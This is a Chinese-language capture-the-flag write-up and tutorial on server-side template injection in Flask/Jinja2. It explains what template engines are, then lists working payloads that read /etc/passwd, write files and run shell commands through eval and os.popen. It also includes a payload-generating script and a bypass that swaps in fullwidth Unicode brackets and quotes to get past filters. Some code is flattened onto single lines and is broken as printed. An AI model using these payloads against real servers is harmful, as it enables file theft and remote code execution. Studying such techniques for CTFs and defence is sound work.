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python-flask-ssti(模版注入漏洞)

SSTI(Server-Side Template Injection) 服务端模板注入，就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板，Web应用可以把输入转换成特定的HTML文件或者email格式

ssti漏洞成因

ssti服务端模板注入，ssti主要为python的一些框架 jinja2 mako tornado django，PHP框架smarty twig，java框架jade velocity等等使用了渲染函数时，由于代码不规范或信任了用户输入而导致了服务端模板注入，模板渲染其实并没有漏洞，主要是程序员对代码不规范不严谨造成了模板注入漏洞，造成模板可控。本题目是考察对flask模板注入。

模板引擎

首先我们先讲解下什么是模板引擎，为什么需要模板，模板引擎可以让（网站）程序实现界面与数据分离，业务代码与逻辑代码的分离，这大大提升了开发效率，良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题，虽然模板引擎会提供沙箱机制，但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法，换句话说，模板是用于从数据（变量）到实际的视觉表现（HTML代码）这项工作的一种实现手段，而这种手段不论在前端还是后端都有应用。

通俗点理解：拿到数据，塞到模板里，然后让渲染引擎将赛进去的东西生成 html 的文本，返回给浏览器，这样做的好处展示数据快，大大提升效率。

后端渲染：浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串，计算就是服务器后端经过解析服务器端的模板来完成的，后端渲染的好处是对前端浏览器的压力较小，主要任务在服务器端就已经完成。

前端渲染：前端渲染相反，是浏览器从服务器得到信息，可能是json等数据包封装的数据，也可能是html代码，他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前，好处是对于服务器后端压力较小，主要渲染在用户的客户端完成。

前置知识

1.运行一个一个最小的 Flask 应用

from flask import Flask
app = Flask(__name__)@app.route('/')
def hello_world():return 'Hello World!'if __name__ == '__main__':app.run(host='0.0.0.0')

2.jinja2

jinja2是Flask作者开发的一个模板系统，起初是仿django模板的一个模板引擎，为Flask提供模板支持，由于其灵活，快速和安全等优点被广泛使用。

在jinja2中，存在三种语：

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量，它是一种特殊的占位符。当利用jinja2进行渲染的时候，它会把这些特殊的占位符进行填充/替换，jinja2支持python中所有的Python数据类型比如列表、字段、对象等

inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

1.ssti漏洞的检测
发送类似下面的payload，不同模板语法有一些差异

smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49

检测到模板注入漏洞后，需要准确识别模板引擎的类型。神器Burpsuite 自带检测功能，并对不同模板接受的 payload 做了一个分类，并以此快速判断模板引擎：

2.漏洞利用
1.payload原理
Jinja2 模板中可以访问一些 Python 内置变量，如[] {} 等，并且能够使用 Python 变量类型中的一些函数这里其实就引出了python沙盒逃逸

python的内敛函数真是强大，可以调用一切函数做自己想做的事情

__builtins__
__import__

C:\Users\Shelby\Desktop
λ python
Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> dir('builtins')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> dir('import')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>>

在python的object类中集成了很多的基础函数，我们想要调用的时候也是需要用object去操作的，这是两种创建object的方法

Python中一些常见的特殊方法：

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性，去找到一个函数，然后调用其__globals[‘builtins’]即可调用eval等执行任意代码。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]builtins即是引用，Python程序一旦启动，它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入，它在任何模块都直接可见，所以这里直接调用引用的模块

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载，这时他们并不是function，不具有__globals__属性#再换几个子类，很快就能找到一个重载过__init__的类，比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

安全研究员给出的几个常见Payload
python2
文件读取和写入

#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

每次执行都要先写然后编译执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}

python3
因为python3没有file了，所以用的是open

#文件读取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}#任意执行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}#命令执行：
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function，然后组成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):for attr in searchList:if hasattr(i, attr):if eval('str(i.'+attr+')[1:9]') == 'function':for goal in neededFunction:if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):if pay != 1:print(i.__name__,":", attr, goal)else:print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

回顾本题

抓包发现是python3.7.9，而且有输入框，第一反应想到的便是ssti模板注入，但是过滤了{ }，之前遇到的都是过滤了{{，这种还好绕过，回归到题目，发现了

字符规范器，是不是找一些特殊字符可以恢复成{这种形式，就找一下跟{类似的特殊符号试一下

特殊字符网址：http://www.fhdq.net/

可以替换成功

︷︷config︸︸

在测试过程中发现单引号也被过滤掉，＇这个符号可以转换出'

构造如下payload

︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[＇open＇](＇/etc/passwd＇).read()︸︸

可以读出/etc/passwd文件的内容，最后读取flag就可以了

︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[＇open＇](＇/flag＇).read()︸︸

也可以构造这样payload获取flag

︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[＇eval＇](＂__import__(＇os＇).popen(＇cat /flag＇).read()＂)︸︸

TIPS说在最后

function需要自己寻找

︷︷().class.bases[0].subclasses()︸︸
︷︷().class.bases[0].subclasses()[176]︸︸
︷︷().class.bases[0].subclasses()[177]︸︸

单引号被过滤，也可使用request.args来进行绕过。POST提交数据

http://192.168.68.128:32771/?shy1=open&shy2=/flag

str=︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.shy1](request.args.shy2).read()︸︸

Unicode字符

｛ ｛
｝    ｝
［    ［
］    ］
＇    ＇
＂    ＂

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